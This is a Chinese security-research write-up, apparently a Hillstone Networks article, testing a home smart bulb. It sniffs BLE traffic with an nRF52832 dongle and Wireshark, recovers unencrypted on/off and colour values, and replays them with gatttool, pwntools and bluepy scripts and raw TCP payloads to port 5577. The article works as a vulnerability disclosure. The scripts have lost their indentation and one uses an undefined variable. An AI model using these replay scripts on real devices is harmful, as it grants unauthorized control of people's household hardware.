-所需工具
硬件工具:
NRF52832 Dongle
CSR8510蓝牙适配器
软件工具:
wireshark
gatttool
-BLE监听环境
https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
https://www.nordicsemi.com/Software-and-Tools/Development-Tools/nRF-Sniffer/Download#infotab
-
1. 在wireshark中打开“关于”->"文件夹"->"Global Extcap path"将下载的nrf sniffer中的extcap中的文件复制于此。
-
-
2. 将Profile_nRF_Sniffer_Bluetooth_LE文件夹拷贝到profiles文件夹中,
-
-
随后在“配置文件”中设置新增的nRF_Sniffer配置文件。
3. Python安装pyserial库
pip install pyserial>=3.4
https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz
-
4. 最后可以再接口中看到nRF Sniffer的设备即完成wireshark的准备。
-
1. 接入NRF52832 Dongle后在上方Device中选择要监听的目标设备(需要BLE设备处于活动状态),再对蓝牙主从机建立连接,之后就可以在CONNECT_IND包中看到相对应的通信信道所使用的情况,以及Bluetooth Attribute Protocol中可以看到通信的关键部分,如Opcode(具体的读写操作)、Handle(Characteristic,属性地址)、Value(数据值)。而本次分析的重点也在于Bluetooth Attribute Protocol协议层的会话传递过程。
-
2. 在ble设备与主机建立连接后便可以看到大量的数据包,会对需要重点关注的BLE相关会话分析造成很大影响,对此可以使用!(btle.length==0)来过滤掉所有的空包,btatt显示所有的att数据包。
3.在使用过滤指令后,尝试通过手机控制灯泡的开关,这时在Wireshark中就可以看到一些ATT的数据包,在为加密的情况下,可以直观的看到相关信息中写着“Sent Write Command…”。
4.而这些数据包的Bluetooth Attribute Protocol中Opcode代表着具体的执行操作,可以是write(cmd、req)、read(cmd、req)等操作。handle为写入的地址属性标识,也代表着控制蓝牙灯泡时的主要需要操作的指令,如灯泡开关、颜色、亮度等。
-
-
5. 通过多次发送开关请求分析可以发现在其中对应的handle:0x0011的value分别为下:
000180000003040a715495 开启灯光
000180000003040a712495 关闭灯光
-
-
6. 在得到这样的数值并且知道其属于service 0xffff的句柄ID为0x0011后,便可以尝试对其句柄value进行写入操作,进行数据请求的重放,从而实现未授权的远程控制灯泡开关操作。这里使用gatttool工具对其进行写入测试。
-通过primary查看相关的句柄属性。
-使用char-write-cmd 就可以直接向0x0011中写入数据。
> gatttool -b b4:e8:42:54:ba:ab -I
[b4:e8:42:54:ba:ab][LE]> connect
[b4:e8:42:54:ba:ab][LE]> char-write-cmd 0x0011 000180000003040a712495
7.并可以将过程编写为python脚本如下
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import sys
#context.log_level = "debug"
argv = ["gatttool","-b","b4:e8:42:54:ba:ab","-I"]
sh = process(argv)
sh.sendline("connect")
sh.recvuntil("Connection successful")
sh.recvuntil("[LE]> ")
#value = "000180000003040a712495" #off
#value = "000380000003040a712394" #on
sh.sendline("char-write-cmd 0x0011 000180000000010c")
sh.sendline("char-write-cmd 0x0011 00048000000e0f0ae00100a11e646400000000140000")
#sh.sendline("char-write-cmd 0x0011 "+sys.argv[1])
#for i in range(90):
# sh.sendline("char-write-cmd 0x0011 000180000003040a712495")
# sleep(2)
# sh.sendline("char-write-cmd 0x0011 000380000003040a712394")
sh.interactive()
from bluepy.btle import *
import time
def hackFlow(conn, address):
conn.waitForNotifications(2)
conn.writeCharacteristic(0x0004, "x00x04", True)
conn.writeCharacteristic(0x000f,"x00x01",True)
conn.waitForNotifications(2)
conn.writeCharacteristic(0x0011,"x00x01x80x00x00x02x03x01x22x22",True)
if __name__ == '__main__':
devAddr = "b4:e8:42:54:ba:ab"
addrType = ADDR_TYPE_PUBLIC
time.sleep(1)
conn = Peripheral(devAddr, addrType)
try:
hackFlow(conn,devAddr)
print("vibering...")
finally:
print("disconnect...")
conn.disconnect()
on = "b0b1b2b30001022f000371239423" # on
off = "b0b1b2b30001024500037124953b"
red = "b0b1b2b300010241000ee00100a10064640000000014000076" # red
blue = "b0b1b2b30001024a000ee00100a178646400000000140000f7"
green = "b0b1b2b30001024c000ee00100a13c646400000000140000bd"
from pwn import *
context.log_level = "debug"
sh= remote("192.168.31.177",5577)
on = "b0b1b2b30001022f000371239423" # on
off = "b0b1b2b30001024500037124953b"
red = "b0b1b2b300010241000ee00100a10064640000000014000076" # red
blue = "b0b1b2b30001024a000ee00100a178646400000000140000f7"
green = "b0b1b2b30001024c000ee00100a13c646400000000140000bd"
payload = test.decode('hex')
# payload = "xb0xb1xb2xb3x00x01x02x1ex00x03x71x23x94x12"
sh.send(payload)
sh.interactive()
原文始发于微信公众号(山石网科安全技术研究院):家用智能灯泡的控制功能安全测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论